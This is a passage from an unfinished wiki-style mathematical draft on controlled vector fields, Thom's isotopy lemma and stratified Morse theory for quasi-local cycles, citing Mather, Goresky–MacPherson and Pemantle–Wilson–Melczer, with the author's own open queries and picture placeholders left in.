By the assumption that we have controlled vector fields for all strata &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt; of dimension at most &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;, we have the two control conditions defined above for any &lt;math display=&quot;inline&quot;&gt;X &gt; Y&lt;/math&gt; and that there is a neighbourhood &lt;math display=&quot;inline&quot;&gt;T^1_Y&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;h(v) = h \pi_Y(v)&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;v \in T^1_Y&lt;/math&gt;.

We want to prove that for all &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt;, the control conditions are satisfied for all &lt;math display=&quot;inline&quot;&gt;v \in T^2_Y&lt;/math&gt; and that &lt;math display=&quot;inline&quot;&gt;h_*\eta_X(v) = \zeta(v)&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in X&lt;/math&gt;.

Take a point &lt;math display=&quot;inline&quot;&gt;x \in X&lt;/math&gt; and define the set &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; of strata &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;v \in T^2_Y&lt;/math&gt;. &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; is totally ordered since if &lt;math display=&quot;inline&quot;&gt;Y_1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;Y_2&lt;/math&gt; are not comparable then &lt;math display=&quot;inline&quot;&gt;T^2_{Y_1} \cap T^2_{Y_2} = \empty&lt;/math&gt;. Therefore, there is a largest member &lt;math display=&quot;inline&quot;&gt;Y = Y_v&lt;/math&gt;.

Assume the control conditions hold for &lt;math display=&quot;inline&quot;&gt;Y = Y_v&lt;/math&gt;. Then they hold for all &lt;math display=&quot;inline&quot;&gt;Y_i \in S_v&lt;/math&gt;. For, either &lt;math display=&quot;inline&quot;&gt;Y_i = Y&lt;/math&gt; or &lt;math display=&quot;inline&quot;&gt;Y_i &lt; Y&lt;/math&gt;. In the latter case, &lt;math display=&quot;inline&quot;&gt;\pi_Y(v) \in T^1_{Y_i}&lt;/math&gt; (by the choice of &lt;math display=&quot;inline&quot;&gt;T^2_Y&lt;/math&gt;'s [is this why?]. Then

&lt;math display=&quot;block&quot;&gt;\begin{align}
\eta_X(v) \rho_{Y_i,X}(v) &amp;= \eta_X \rho_{Y_i,Y} \pi_{Y,X}(v) \\
&amp;= (\pi_{Y,X})_* \eta_X(v) \rho_{Y_i,Y} \\
&amp;= \eta_Y(\pi_{Y,X}(v)) \rho_{Y_i,Y} \\
&amp;= 0
\end{align}&lt;/math&gt;

and

&lt;math display=&quot;block&quot;&gt;\begin{align}
(\pi_{Y_i,X})_* \eta_X(v) &amp;= (\pi_{Y_i,Y})_* (\pi_{Y,X})_* \eta_X(v) \\
&amp;= (\pi_{Y_i,Y})_* \eta_Y(v) (\pi_{Y,X}) \\
&amp;= \eta_{Y_i}(\pi_{Y_i,Y} \pi_{Y,X}(v)) \\
&amp;= \eta_{Y_i}(\pi_{Y_i,X}(v))
\end{align}&lt;/math&gt;

and, therefore, condition holds for all &lt;math display=&quot;inline&quot;&gt;Y_i \in S_v&lt;/math&gt;. Also,

&lt;math display=&quot;block&quot;&gt;\begin{align}
h_* \eta_X(v) &amp;= (h \circ \pi_{Y,X})_* \eta_X(v) \\
&amp;= h_* \eta_Y (\pi_{Y,X}(v)) \\
&amp;= \zeta(f(v))
\end{align}&lt;/math&gt;

and, therefore, the conclusion of the theorem holds at &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt;.

This shows we can construct &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; satisfying the control conditions when &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; is non-empty and satisfying the theorem when &lt;math display=&quot;inline&quot;&gt;S_v&lt;/math&gt; is empty. The set of vectors satisfying these conditions is convex in &lt;math display=&quot;inline&quot;&gt;TX_v&lt;/math&gt;, and so we construct &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; globally via a partition of unity.&lt;ref&gt;Mather 2012, pp. 493-495.&lt;/ref&gt;

Finally, we prove that a controlled vector field has a unique one-parameter family of homeomorphisms of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; which commute with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, this combines Proposition 10.1 and Corollary 10.2 on pp. 496 and 497, respectively.&lt;/ref&gt;

For each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; generates a unique smooth local one-parameter group &lt;math display=&quot;inline&quot;&gt;(J_X, \alpha_X)&lt;/math&gt; of diffeomorphisms of &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; (by standard results of differential geometry), such that &lt;math display=&quot;inline&quot;&gt;\frac{d}{dt} \alpha(t, v)|_{t=0} = \eta_X(v)&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;J_X&lt;/math&gt; is an open subset of &lt;math display=&quot;inline&quot;&gt;\R \times Z&lt;/math&gt;, ...

If we define &lt;math display=&quot;inline&quot;&gt;(J, \alpha)&lt;/math&gt; by

&lt;math display=&quot;block&quot;&gt;J = \bigcup_{X \in S} J_X&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\alpha = \bigcup_{X \in S} \alpha_X&lt;/math&gt;

we can prove that this is a local one-parameter family of homeomorphisms.&lt;ref&gt;Mather 2012, pp. 496.&lt;/ref&gt;

Firstly, it is clear that
# &lt;math display=&quot;inline&quot;&gt;0 \times Z \subseteq J&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\alpha(0, v) = v&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;.
# If &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;J_v = J \cap (\R \times v) \subseteq \R&lt;/math&gt; is an open interval &lt;math display=&quot;inline&quot;&gt;(a_v, b_v)&lt;/math&gt;, possibly infinite at one or both ends.
# If &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;t, s, t + s&lt;/math&gt; are in &lt;math display=&quot;inline&quot;&gt;(a_v, b_v)&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;\alpha(t + s, v) = \alpha(t, \alpha(s, v))&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 495.&lt;/ref&gt;

Secondly, it is clear that &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; generates &lt;math display=&quot;inline&quot;&gt;\alpha&lt;/math&gt; because
# Each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; is invariant under &lt;math display=&quot;inline&quot;&gt;\alpha&lt;/math&gt;, i.e. &lt;math display=&quot;inline&quot;&gt;\alpha[J \cap (\R \times X)] \subseteq X&lt;/math&gt;.
# For each &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;, the map &lt;math display=&quot;inline&quot;&gt;t \to \alpha(t, v)&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;(a_v, b_v)&lt;/math&gt; into the stratum which contains &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt; is &lt;math display=&quot;inline&quot;&gt;C^1&lt;/math&gt;.
# For any &lt;math display=&quot;inline&quot;&gt;(t, v) \in Z&lt;/math&gt;(?) we have &lt;math display=&quot;inline&quot;&gt;d/dt \alpha(t, v) = \eta(\alpha(t, v))&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 495.&lt;/ref&gt;

It is unique because each &lt;math display=&quot;inline&quot;&gt;(J_X, \alpha_X)&lt;/math&gt; is unique. We just need to prove that &lt;math display=&quot;inline&quot;&gt;J&lt;/math&gt; is open, &lt;math display=&quot;inline&quot;&gt;\alpha&lt;/math&gt; is continuous, and for any &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt; and any compact set &lt;math display=&quot;inline&quot;&gt;K \subseteq Z&lt;/math&gt; there exists &lt;math display=&quot;inline&quot;&gt;\epsilon &gt; 0&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\alpha(t, v) \notin K&lt;/math&gt; if &lt;math display=&quot;inline&quot;&gt;t \in (a_v, a_v + \epsilon) \cup (b_v - \epsilon, b_v)&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 495.&lt;/ref&gt;

For the latter-most condition, if it did not hold then there exists...&lt;ref&gt;Mather 2012, pp. 496-497.&lt;/ref&gt;

We prove there is a homeomorphism &lt;math display=&quot;inline&quot;&gt;f: Z \to h^{-1}(0) \times \R&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\pi \circ f = h&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;\pi: h^{-1}(0) \times \R \to \R&lt;/math&gt; is projection to the second factor.

For the coordinate vector field &lt;math display=&quot;inline&quot;&gt;\partial&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;\R&lt;/math&gt;, by [prop 9.1] there is a controlled vector field &lt;math display=&quot;inline&quot;&gt;\tilde\partial&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;f_* \tilde\partial(v) = \partial(h(v))&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;. By [prop 10.1], &lt;math display=&quot;inline&quot;&gt;\tilde\partial&lt;/math&gt; generates a local one-parameter group &lt;math display=&quot;inline&quot;&gt;(J, \alpha)&lt;/math&gt; such that

&lt;math display=&quot;block&quot;&gt;h(\alpha(t,v)) = h(v) + t&lt;/math&gt;

&lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is proper and [d] holds, so &lt;math display=&quot;inline&quot;&gt;J = \R \times Z&lt;/math&gt;. If we define &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; as

&lt;math display=&quot;block&quot;&gt;f(v) = (\alpha(-t, v), h(v))&lt;/math&gt;

then &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; maps &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; into &lt;math display=&quot;inline&quot;&gt;h^{-1}(0) \times \R&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi \circ f = h&lt;/math&gt;. If we define &lt;math display=&quot;inline&quot;&gt;\bar f: h^{-1}(0) \times \R \to Z&lt;/math&gt; as

&lt;math display=&quot;block&quot;&gt;\bar f(v, t) = \alpha(t, v)&lt;/math&gt;

then &lt;math display=&quot;inline&quot;&gt;f \bar f = \bar f f = Id&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; is a homeomorphism.&lt;ref&gt;Mather 2012, pp. 497.&lt;/ref&gt;

== Topology at critical points ==

Theorem: If there is a critical point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in the singular variety &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt; with critical value &lt;math display=&quot;inline&quot;&gt;v \in (a, b)&lt;/math&gt; then the space &lt;math display=&quot;inline&quot;&gt;X_{\leq b}&lt;/math&gt; is homotopic to&lt;ref&gt;Goresky and MacPherson 1988, pp. 174.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;X_{\leq a} \cup [(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)].&lt;/math&gt;

Proof:&lt;ref&gt;Proof outline comes from Goresky and MacPherson 1988, pp. 174.&lt;/ref&gt;
# &lt;math display=&quot;inline&quot;&gt;(X_{\leq b}, X_{\leq a})&lt;/math&gt; is homeomorphic to &lt;math display=&quot;inline&quot;&gt;(X_{\leq v + \epsilon}, X_{\leq v -\epsilon})&lt;/math&gt;. We can prove this by &quot;moving wall&quot; or Thom's Isotopy Lemma.&lt;ref&gt;Goresky and MacPherson 1988, pp. 90-91, 120.&lt;/ref&gt;
# &lt;math display=&quot;inline&quot;&gt;X_{\leq v + \epsilon}&lt;/math&gt; is homeomorphic to &lt;math display=&quot;inline&quot;&gt;X_{\leq v - \epsilon} \cup (J, K)&lt;/math&gt;, where the latter is the local Morse data for &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;. We do this by moving the wall...&lt;ref&gt;Goresky and MacPherson 1988, pp. 95-96, 120-121.&lt;/ref&gt;
# &lt;math display=&quot;inline&quot;&gt;(J, K)&lt;/math&gt; is homeomorphic to &lt;math display=&quot;inline&quot;&gt;(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)&lt;/math&gt; (tangential data, normal data). Again, moving the wall...&lt;ref&gt;Goresky and MacPherson 1988, pp. 65-66, chapter 8, 121.&lt;/ref&gt;
# The normal Morse data depends only on the differential &lt;math display=&quot;inline&quot;&gt;df(p)&lt;/math&gt;.&lt;ref&gt;Goresky and MacPherson 1988, pp. 93.&lt;/ref&gt;
# The normal Morse data has the homotopy type of &lt;math display=&quot;inline&quot;&gt;(\mathcal{L}_X, \partial \mathcal{L}_X)&lt;/math&gt;.&lt;ref&gt;Goresky and MacPherson 1988, pp. 169.&lt;/ref&gt;

=== Step 1 ===

We get this immediately(?) by Thom's Isotopy Lemma.

=== Step 2 ===

&lt;ref&gt;Goresky and MacPherson 1988, complex case on pp. 120-121 is extension of real case on pp. 95-96.&lt;/ref&gt;

We take our space &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; and map it onto &lt;math display=&quot;inline&quot;&gt;\R^2&lt;/math&gt; with the map &lt;math display=&quot;inline&quot;&gt;F(z) = (r(z), h(z))&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;z \in M&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;r&lt;/math&gt; is the square of the distance of &lt;math display=&quot;inline&quot;&gt;z&lt;/math&gt; to the critical point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.

[graph of mapping]

What we want is a homeomorphism in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; between the space &lt;math display=&quot;inline&quot;&gt;Z_{\leq \epsilon}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;Z_{\leq \epsilon} \cup B&lt;/math&gt;, where &lt;math display=&quot;inline&quot;&gt;B&lt;/math&gt; is a small region of the critical point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; (or is the Local Morse data).

[picture of the two subspaces of Z in M]

We use our map &lt;math display=&quot;inline&quot;&gt;F&lt;/math&gt; to convert these two subspaces to subspaces of &lt;math display=&quot;inline&quot;&gt;\R^2&lt;/math&gt; which are of the form &lt;math display=&quot;inline&quot;&gt;Y_1 = \{(x,y) \in \R^2 | y \leq \epsilon\}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;Y_0 = \{(x,y) \in \R^2 | y \leq -\epsilon\} \cup \{(x,y) \in \R^2 | x \leq \delta, y \leq \epsilon\}&lt;/math&gt;, such that &lt;math display=&quot;inline&quot;&gt;Z_{\leq \epsilon} = F^{-1}(Y_1)&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;Z_{\leq \epsilon} \cup B = F^{-1}(Y_0)&lt;/math&gt;.&lt;ref&gt;Goresky and MacPherson 1988, pp. 95-96.&lt;/ref&gt;

We use a homeomorphism between &lt;math display=&quot;inline&quot;&gt;Y_1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;Y_0&lt;/math&gt; using the technique of &quot;moving the wall&quot; and Thom's Isotopy Lemma.&lt;ref&gt;Goresky and MacPherson 1988, chapter 4, particularly pp. 71-72.&lt;/ref&gt;

== Morse theory ==

Steps(?)
* Explain topology
* Every point of a stratum is locally like a product structure (proved by Thom's Isotopy Lemma) [GM pp. 41-42]
** Including those around critical points, which are the product of normal and tangential Morse data (these are our quasi-local cycles?)
* Thom's Isotopy Lemma proves a strong deformation retraction (which only stops at critical points) [PWM pp. 541-542]

=== Homotopy ===

We want to replace our domain of convergence &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt;, which is the complement of our singular variety &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt;, with an &quot;equivalent&quot; space &lt;math display=&quot;inline&quot;&gt;M'&lt;/math&gt; which has better understood properties. We say &quot;equivalent&quot; because there are several different things we could mean by &quot;equivalent&quot; in this context. The equivalence we are referring to in this section is called '''homotopy'''.

Imagine two subspaces &lt;math display=&quot;inline&quot;&gt;\gamma_0&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\gamma_1&lt;/math&gt; of a space &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt; which are defined respectively by smooth functions &lt;math display=&quot;inline&quot;&gt;f, g: X \to Y&lt;/math&gt;. If there exists a smooth function &lt;math display=&quot;inline&quot;&gt;h_s: X \times [0, 1] \to Y&lt;/math&gt;, called a homotopy, such that &lt;math display=&quot;inline&quot;&gt;h_0 = f&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;h_1 = g&lt;/math&gt; and for any &lt;math display=&quot;inline&quot;&gt;\epsilon &gt; 0&lt;/math&gt; there exists a &lt;math display=&quot;inline&quot;&gt;\delta_a&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\delta_b&lt;/math&gt; such that when &lt;math display=&quot;inline&quot;&gt;|s - s_0| &lt; \delta_a&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;|x - x_0| &lt; \delta_b&lt;/math&gt; we have &lt;math display=&quot;inline&quot;&gt;|h_s(x) - h_{s_0}(x_0)| &lt; \epsilon&lt;/math&gt;, then we say &lt;math display=&quot;inline&quot;&gt;\gamma_0&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\gamma_1&lt;/math&gt; are '''homotopic'''.&lt;ref&gt;Henle 1979, pp. 251-252.&lt;/ref&gt;

Below is an example where &lt;math display=&quot;inline&quot;&gt;\gamma_0&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\gamma_1&lt;/math&gt; are one-dimensional curves and &lt;math display=&quot;inline&quot;&gt;H(t, s) = h_s(t)&lt;/math&gt;.

[[File:Homotopy_curves.png|300px]]

In [[#Homotopy_equivalence|Appendix A]], we formally prove that we can construct an equivalent space &lt;math display=&quot;inline&quot;&gt;M'&lt;/math&gt;. We provide only an example to give some intuition before describing how to construct the space &lt;math display=&quot;inline&quot;&gt;M'&lt;/math&gt; in terms of local cycles around critical points.

=== Motivating example ===

Imagine a torus and a height function which is just the z value of the point.

[[File:3D-Leveltorus.png|200px]]

It has four critical points: two at the top and bottom of the outer circle (&lt;math display=&quot;inline&quot;&gt;p_1, p_4&lt;/math&gt;) and two at the top and bottom of the inner circle (&lt;math display=&quot;inline&quot;&gt;p_2, p_3&lt;/math&gt;).

[picture]

When the height is between the &lt;math display=&quot;inline&quot;&gt;p_1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;p_2&lt;/math&gt;, the space is a two-cell, which can be retracted to a point.

[picture]

When the height is between &lt;math display=&quot;inline&quot;&gt;p_2&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;p_3&lt;/math&gt;, the space is a cylinder, which can be retracted to a two-cell with a one-cell attached.

[[File:3D-Cylinder_and_disk_with_handle.png|200px]]

When the height is between &lt;math display=&quot;inline&quot;&gt;p_3&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;p_4&lt;/math&gt;, the space is a torus with a disc removed, which can be retracted to a cylinder with a one-cell attached.

[[File:3D-Cylinder_with_handle_and_torus_with_hole.png|200px]]

When the height is greater than &lt;math display=&quot;inline&quot;&gt;p_4&lt;/math&gt;, then the full torus is constructed by attaching a two-cell.

[Explain in terms of Morse data and Morse index?]

=== Morse data and quasi-local cycles ===

As in the above example, we start at the &quot;bottom&quot; of &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; and build upwards until just before we reach our first critical point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.

;Smooth points
:This is a tube around a &lt;math display=&quot;inline&quot;&gt;(d-1)&lt;/math&gt;-chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt; where the height function &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is maximised at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 223.&lt;/ref&gt;
:For example, if &lt;math display=&quot;inline&quot;&gt;F(x, y) = \frac{1}{1 - x - y}&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;\lambda = 1&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;B^\lambda&lt;/math&gt; is an arc reaching its highest point at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.
:The normal plane &lt;math display=&quot;inline&quot;&gt;N&lt;/math&gt; at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; is a plane orthogonal to &lt;math display=&quot;inline&quot;&gt;B^1&lt;/math&gt;(?).
:Its normal link &lt;math display=&quot;inline&quot;&gt;L(S)&lt;/math&gt; is a circle with two points missing where it intersects &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt;.
:We make our quasi-local cycle out of the product of the arc and circle joined to &lt;math display=&quot;inline&quot;&gt;M_-&lt;/math&gt; at points below &lt;math display=&quot;inline&quot;&gt;M_-&lt;/math&gt;.
:With the exception of degenerate points, such as monkey saddles...&lt;ref&gt;e.g. Pemantle, Wilson and Melczer 2024, pp. 211.&lt;/ref&gt;

;Transverse multiple points
:This is the product of a &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;-torus and a &lt;math display=&quot;inline&quot;&gt;(d-k)&lt;/math&gt;-chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt;. The torus is the product of circles about &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in the complex normal space to each strata which intersects &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;. The chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt; is supported in the stratum which is the common intersection of the varieties defined by the factors vanishing at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;, and achieves its maximum height at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 223-224.&lt;/ref&gt;

;Arrangement multiple point
:This is the product of a &lt;math display=&quot;inline&quot;&gt;(d-k)&lt;/math&gt;-chain &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt; and several &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;-tori, one for each pair of sheets which intersect transversely, where the torus is the product of circles about &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in each sheet.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 226.&lt;/ref&gt;

;Cone point
:A cone point is zero-dimensional so there is no &lt;math display=&quot;inline&quot;&gt;\gamma&lt;/math&gt;, just a &lt;math display=&quot;inline&quot;&gt;d&lt;/math&gt;-torus about &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 227.&lt;/ref&gt;

== Appendix ==

=== Homotopy equivalence ===

[Assuming no CVAI...]

Theorem:
# Homotopy equivalence between M_{\leq a} and M_{\leq b}...
# If in a range &lt;math display=&quot;inline&quot;&gt;[a, b]&lt;/math&gt; there are no CVAI and only one critical value &lt;math display=&quot;inline&quot;&gt;c&lt;/math&gt;, not equal to either &lt;math display=&quot;inline&quot;&gt;a&lt;/math&gt; or &lt;math display=&quot;inline&quot;&gt;b&lt;/math&gt;, with one or more critical points &lt;math display=&quot;inline&quot;&gt;z_1, \cdots, z_m&lt;/math&gt; then there is a stratified flow deforming any chain in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; to a (homotopic?) chain in the union of &lt;math display=&quot;inline&quot;&gt;M_{&lt;c}&lt;/math&gt; with sufficiently small balls around each critical point. This induces a homotopy between &lt;math display=&quot;inline&quot;&gt;(M_{c+\epsilon}, M_{c-\epsilon})&lt;/math&gt; and the direct sum of &lt;math display=&quot;inline&quot;&gt;(M_{c-\epsilon} \cup B_{2\epsilon}(z_i), M_{c-\epsilon})&lt;/math&gt; for each critical point &lt;math display=&quot;inline&quot;&gt;z_i&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 231.&lt;/ref&gt;

The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in a space, a '''vector''', which can be represented by an arrow whose tail starts at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Henle 1979, pp. 33.&lt;/ref&gt;

[picture]

Imagine we have a vector field &lt;math display=&quot;inline&quot;&gt;v(x)&lt;/math&gt; defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This &quot;flows&quot; the entire line along the vectors.

We can (potentially) define a function to implement this flow. Define &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; where &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; are points in the space and &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; is something like time. As &lt;math display=&quot;inline&quot;&gt;t&lt;/math&gt; goes from zero to some positive number, &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; moves the points &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; along the vectors. To describe this process formally, we say &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; is the solution to the differential equation

&lt;math display=&quot;block&quot;&gt;\frac{d}{dt} \Phi(x, t) = v(x).&lt;/math&gt;

We want a particular vector field &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt; with certain properties... The proof of the existence of this vector field is long and complicated and we will not go into it here.&lt;ref&gt;It involves concepts such as Thom's isotopy lemma and Mather's controlled vector flows. See Mather 2012.&lt;/ref&gt;

Using this vector field &lt;math display=&quot;inline&quot;&gt;v&lt;/math&gt; but modified so as to be zero on &lt;math display=&quot;inline&quot;&gt;M_{\leq a}&lt;/math&gt;. This vector field defines a function &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; such that
* &lt;math display=&quot;inline&quot;&gt;d/dt \Phi(x, t) = v(x)&lt;/math&gt; when &lt;math display=&quot;inline&quot;&gt;h(x) \in (a, b]&lt;/math&gt;.
* &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; is defined for &lt;math display=&quot;inline&quot;&gt;0 \leq t \leq h(x) - a&lt;/math&gt; and in this range &lt;math display=&quot;inline&quot;&gt;h(\Phi(x, t)) = h(x) - t&lt;/math&gt;.
* the map &lt;math display=&quot;inline&quot;&gt;\psi(x) = \Phi(x, b - a)&lt;/math&gt; is a continuous map on &lt;math display=&quot;inline&quot;&gt;M_{\leq b}&lt;/math&gt; with range (image?) &lt;math display=&quot;inline&quot;&gt;M_{\leq a}&lt;/math&gt; and fixing &lt;math display=&quot;inline&quot;&gt;M_{\leq a}&lt;/math&gt;.

The function &lt;math display=&quot;inline&quot;&gt;\Phi(x, 0)&lt;/math&gt; is the identity on &lt;math display=&quot;inline&quot;&gt;M_{\leq b}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\Phi(x, b - a) = \psi(x)&lt;/math&gt;, therefore &lt;math display=&quot;inline&quot;&gt;\Phi&lt;/math&gt; in the range &lt;math display=&quot;inline&quot;&gt;[0, b - a]&lt;/math&gt; is a homotopy between the identity on &lt;math display=&quot;inline&quot;&gt;M_{\leq b}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\psi&lt;/math&gt;. This implies 1)???&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 233.&lt;/ref&gt;

Define the distance from a critical point &lt;math display=&quot;inline&quot;&gt;\kappa(x) = \min\{ |x - z_i| : z_1, \cdots, z_m \}&lt;/math&gt;. For &lt;math display=&quot;inline&quot;&gt;s &gt; 0 &lt;/math&gt; we define a new vector field

&lt;math display=&quot;block&quot;&gt;v_s(x) = \begin{cases}
v(x) &amp; \kappa(x) \geq s \\
\rho(\kappa(x)) v(x) &amp; \kappa(x) \in [s/2, s] \\
0 &amp; \kappa(x) \leq s/2
\end{cases}&lt;/math&gt;

for a smooth non-decreasing function &lt;math display=&quot;inline&quot;&gt;\rho&lt;/math&gt; where &lt;math display=&quot;inline&quot;&gt;\rho(s/2) = 0&lt;/math&gt;.

Define &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; as the function such that &lt;math display=&quot;inline&quot;&gt;d/dt \Phi(x, t)_s = v_s(x)&lt;/math&gt;. The height function &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is non-increasing along &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; (by implication of bullet point 2?) so points in &lt;math display=&quot;inline&quot;&gt;M_{\leq c-\epsilon}&lt;/math&gt; stay in &lt;math display=&quot;inline&quot;&gt;M_{\leq c - \epsilon}&lt;/math&gt; when flowed along &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; and therefore &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; is a homotopy equivalence between &lt;math display=&quot;inline&quot;&gt;(M_{\leq c+\epsilon}, M_{\leq c-\epsilon})&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;(\Phi(M_{\leq c+\epsilon}, 2\epsilon), M_{\leq c-\epsilon})&lt;/math&gt;. By 